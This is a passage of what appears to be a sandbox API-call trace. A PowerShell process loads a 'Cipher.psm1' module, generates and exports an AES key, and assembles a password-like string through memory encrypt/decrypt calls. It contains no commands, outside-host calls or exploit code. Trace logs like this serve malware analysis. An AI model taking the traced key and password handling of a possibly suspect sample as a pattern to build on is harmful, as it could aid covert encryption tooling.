[6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.165] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.166] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x8d64\x7411") returned 0x0 [0130.166] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0130.166] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.167] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.167] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.167] CryptAcquireContextW (in: phProv=0x99ae3e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae3e0*=0x8e021c8) returned 1 [0130.168] CryptGenKey (in: hProv=0x8e021c8, Algid=0x6610, dwFlags=0x1, phKey=0x99ae80c | out: phKey=0x99ae80c*=0x8e849f8) returned 1 [0130.168] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.168] CryptExportKey (in: hKey=0x8e849f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae7f8 | out: pbData=0x0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0130.168] CryptExportKey (in: hKey=0x8e849f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x69f5a40, pdwDataLen=0x99ae7f8 | out: pbData=0x69f5a40*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0130.168] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae35c, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.168] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae734*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae734*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.168] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae694*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae694*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.168] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.169] SysStringLen (param_1="") returned 0x8 [0130.169] SysStringLen (param_1="q") returned 0x8 [0130.169] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.169] SysStringLen (param_1="\xb1b4\x1689\xcb91\x3445\x2d32\x2fc9\xadee\x3c2e") returned 0x8 [0130.169] SysStringLen (param_1="\xb1b4\x1689\xcb91\x3445\x2d32\x2fc9\xadee\x3c2e") returned 0x8 [0130.169] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.169] SysStringLen (param_1="q7") returned 0x8 [0130.169] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.169] SysStringLen (param_1="\x56a1\x4f6e\xf7af\x3243\x3ce8\xc2c6\x7a15\x5ac4") returned 0x8 [0130.169] SysStringLen (param_1="\x56a1\x4f6e\xf7af\x3243\x3ce8\xc2c6\x7a15\x5ac4") returned 0x8 [0130.169] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.170] SysStringLen (param_1="q7R") returned 0x8 [0130.170] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.170] SysStringLen (param_1="\x4bfe\xbb11\x6550\x971e\xdb68\xbc3e\x25c5\x8bce") returned 0x8 [0130.170] SysStringLen (param_1="\x4bfe\xbb11\x6550\x971e\xdb68\xbc3e\x25c5\x8bce") returned 0x8 [0130.170] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.170] SysStringLen (param_1="q7RS") returned 0x8 [0130.170] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.170] SysStringLen (param_1="\x3395\x9660\x8399\xe5a7\xaad0\xc0c0\xbe0e\x7f8f") returned 0x8 [0130.170] SysStringLen (param_1="\x3395\x9660\x8399\xe5a7\xaad0\xc0c0\xbe0e\x7f8f") returned 0x8 [0130.170] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.170] SysStringLen (param_1="q7RSD") returned 0x8 [0130.170] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.170] SysStringLen (param_1="\xdb60\x318b\xb3f1\xcde4\x5a3b\xbe4a\xeec2\x26b1") returned 0x8 [0130.170] SysStringLen (param_1="\xdb60\x318b\xb3f1\xcde4\x5a3b\xbe4a\xeec2\x26b1") returned 0x8 [0130.170] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.170] SysStringLen (param_1="q7RSDq") returned 0x8 [0130.170] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.171] SysStringLen (param_1="\x429c\x3f41\xa163\x9dd2\x6b23\x2f50\xf126\x45df") returned 0x8 [0130.171] SysStringLen (param_1="\x429c\x3f41\xa163\x9dd2\x6b23\x2f50\xf126\x45df") returned 0x8 [0130.171] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.171] SysStringLen (param_1="q7RSDqv") returned 0x8 [0130.171] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.171] SysStringLen (param_1="\x4075\xe3fe\xea27\x521\x6f13\xb5db\x549d\x6f85") returned 0x8 [0130.171] SysStringLen (param_1="\x4075\xe3fe\xea27\x521\x6f13\xb5db\x549d\x6f85") returned 0x8 [0130.171] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.171] SysStringLen (param_1="q7RSDqvp") returned 0x8 [0130.171] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.171] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba") returned 0x8 [0130.171] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba") returned 0x8 [0130.171] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba") returned 0x8 [0130.171] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba") returned 0x10 [0130.171] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.171] SysStringLen (param_1="q7RSDqvpyﺪꤠ碷Ј턌革") returned 0x10 [0130.171] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.172] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\xb54a\xfe6a\x136a\x7981\x4dcc\xd784\x86c0\xc0c7") returned 0x10 [0130.172] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\xb54a\xfe6a\x136a\x7981\x4dcc\xd784\x86c0\xc0c7") returned 0x10 [0130.172] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.172] SysStringLen (param_1="q7RSDqvpy0ꤠ碷Ј턌革") returned 0x10 [0130.172] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.172] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\xdec5\x17d3\xb29c\xe86c\xe679\xc730\x343c\x6eb") returned 0x10 [0130.172] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\xdec5\x17d3\xb29c\xe86c\xe679\xc730\x343c\x6eb") returned 0x10 [0130.172] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.172] SysStringLen (param_1="q7RSDqvpy0V碷Ј턌革") returned 0x10 [0130.172] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.172] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\xd820\xdae0\x1051\x12e3\x7ac9\x7659\xe6a7\xded1") returned 0x10 [0130.172] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\xd820\xdae0\x1051\x12e3\x7ac9\x7659\xe6a7\xded1") returned 0x10 [0130.172] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.172] SysStringLen (param_1="q7RSDqvpy0VJЈ턌革") returned 0x10 [0130.172] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.172] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x6fb6\xb71d\x2b0\xdc6f\x8c2a\x291d\xe50\x2bc") returned 0x10 [0130.172] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x6fb6\xb71d\x2b0\xdc6f\x8c2a\x291d\xe50\x2bc") returned 0x10 [0130.172] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.173] SysStringLen (param_1="q7RSDqvpy0VJlЈ턌革") returned 0x10 [0130.173] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.173] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x1452\x726c\xd08a\x789d\x3597\x2aeb\xc810\xe8d4") returned 0x10 [0130.173] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x1452\x726c\xd08a\x789d\x3597\x2aeb\xc810\xe8d4") returned 0x10 [0130.173] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.173] SysStringLen (param_1="q7RSDqvpy0VJlO턌革") returned 0x10 [0130.173] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.173] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\xb67e\x5f49\x2eb0\xe12c\xfb7a\x8db2\xe8c0\xabfc") returned 0x10 [0130.173] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\xb67e\x5f49\x2eb0\xe12c\xfb7a\x8db2\xe8c0\xabfc") returned 0x10 [0130.173] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.173] SysStringLen (param_1="q7RSDqvpy0VJlOe革") returned 0x10 [0130.173] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.173] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\xc8eb\x7a07\x1d50\x354b\xc7a5\x76a\x7f60\xfd20") returned 0x10 [0130.173] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\xc8eb\x7a07\x1d50\x354b\xc7a5\x76a\x7f60\xfd20") returned 0x10 [0130.173] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.173] SysStringLen (param_1="q7RSDqvpy0VJlOer") returned 0x10 [0130.173] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.173] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8") returned 0x10 [0130.173] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8") returned 0x10 [0130.174] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8") returned 0x10 [0130.174] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8") returned 0x18 [0130.174] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.174] SysStringLen (param_1="q7RSDqvpy0VJlOerp荣稫씇侦玓") returned 0x18 [0130.174] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.174] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\xfbf\x6edc\xe543\x26e0\x49db\x695b\x87ed\xe65b") returned 0x18 [0130.174] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\xfbf\x6edc\xe543\x26e0\x49db\x695b\x87ed\xe65b") returned 0x18 [0130.174] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.174] SysStringLen (param_1="q7RSDqvpy0VJlOerp1稫씇侦玓") returned 0x18 [0130.174] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.174] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x7c42\x645a\xbf0a\x82d2\xa626\x384c\x8308\xb5c") returned 0x18 [0130.174] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x7c42\x645a\xbf0a\x82d2\xa626\x384c\x8308\xb5c") returned 0x18 [0130.174] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.174] SysStringLen (param_1="q7RSDqvpy0VJlOerp1A씇侦玓") returned 0x18 [0130.174] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.174] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x9857\xc6eb\xd34d\x2b07\x4342\xa4d5\xe1db\xaccc") returned 0x18 [0130.174] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x9857\xc6eb\xd34d\x2b07\x4342\xa4d5\xe1db\xaccc") returned 0x18 [0130.174] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.174] SysStringLen (param_1="q7RSDqvpy0VJlOerp1At侦玓") returned 0x18 [0130.174] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.174] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x16c6\xfadb\xc4b8\x1ed4\xc778\x7e91\xd32e\x7ec9") returned 0x18 [0130.174] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x16c6\xfadb\xc4b8\x1ed4\xc778\x7e91\xd32e\x7ec9") returned 0x18 [0130.174] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.175] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX侦玓") returned 0x18 [0130.175] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.175] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x22e4\xf0e\x1a6c\xa733\xa229\x291\xbc99\x5648") returned 0x18 [0130.175] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x22e4\xf0e\x1a6c\xa733\xa229\x291\xbc99\x5648") returned 0x18 [0130.175] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.175] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7玓") returned 0x18 [0130.175] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.175] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\xd169\xad17\xe841\x636b\xab02\x1bad\x87c\x7a6c") returned 0x18 [0130.175] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\xd169\xad17\xe841\x636b\xab02\x1bad\x87c\x7a6c") returned 0x18 [0130.175] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.175] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7A") returned 0x18 [0130.175] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.175] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x2044\xa05c\x8d36\x41c8\xea9e\x77b3\xe03e\x7625") returned 0x18 [0130.175] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x2044\xa05c\x8d36\x41c8\xea9e\x77b3\xe03e\x7625") returned 0x18 [0130.175] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.175] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7AP") returned 0x18 [0130.175] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.175] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315") returned 0x18 [0130.175] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315") returned 0x18 [0130.175] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315") returned 0x18 [0130.175] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315") returned 0x20 [0130.178] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.178] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW甅榊턤裠셌菆") returned 0x20 [0130.178] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.178] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\x9245\x7a1a\xeb39\x42e7\x4229\x45cd\xf20e\x3650") returned 0x20 [0130.178] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\x9245\x7a1a\xeb39\x42e7\x4229\x45cd\xf20e\x3650") returned 0x20 [0130.178] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.178] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3榊턤裠셌菆") returned 0x20 [0130.178] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.178] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\x8b8d\xce33\x3f85\x1b85\xdea4\x3f39\xd699\x2a3c") returned 0x20 [0130.178] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\x8b8d\xce33\x3f85\x1b85\xdea4\x3f39\xd699\x2a3c") returned 0x20 [0130.178] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.178] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3i턤裠셌菆") returned 0x20 [0130.178] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.178] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xa6fe\xf777\xee56\x447e\x40ab\xa9cc\x307\xb4b6") returned 0x20 [0130.178] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\xa6fe\xf777\xee56\x447e\x40ab\xa9cc\x307\xb4b6") returned 0x20 [0130.178] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.179] SysStringLen (param_1="q7RSDqvpy0VJlOerp1AtX7APW3ic裠셌菆") returned 0x20 [0130.179] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.179] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\x2213\x909b\xbb87\x69f4\x296e\xdc82\x6072\x104d") returned 0x20 [0130.179] SysStringLen (param_1="\x56c9\xfe80\xda68\x79b1\x3c13\x109d\x94f7\xa7ba\x4dc4\x8349\x963\xc401\x3184\x5b33\x3668\xdda8\x5790\x752f\x1ac2\xd022\x1c3d\x9c75\x84b7\xb315\x2213\x909b\xbb87\x69f4\x296e\xdc82\x6072\x104d") returned 0x20 [0130.179] SystemFunction041 (in: 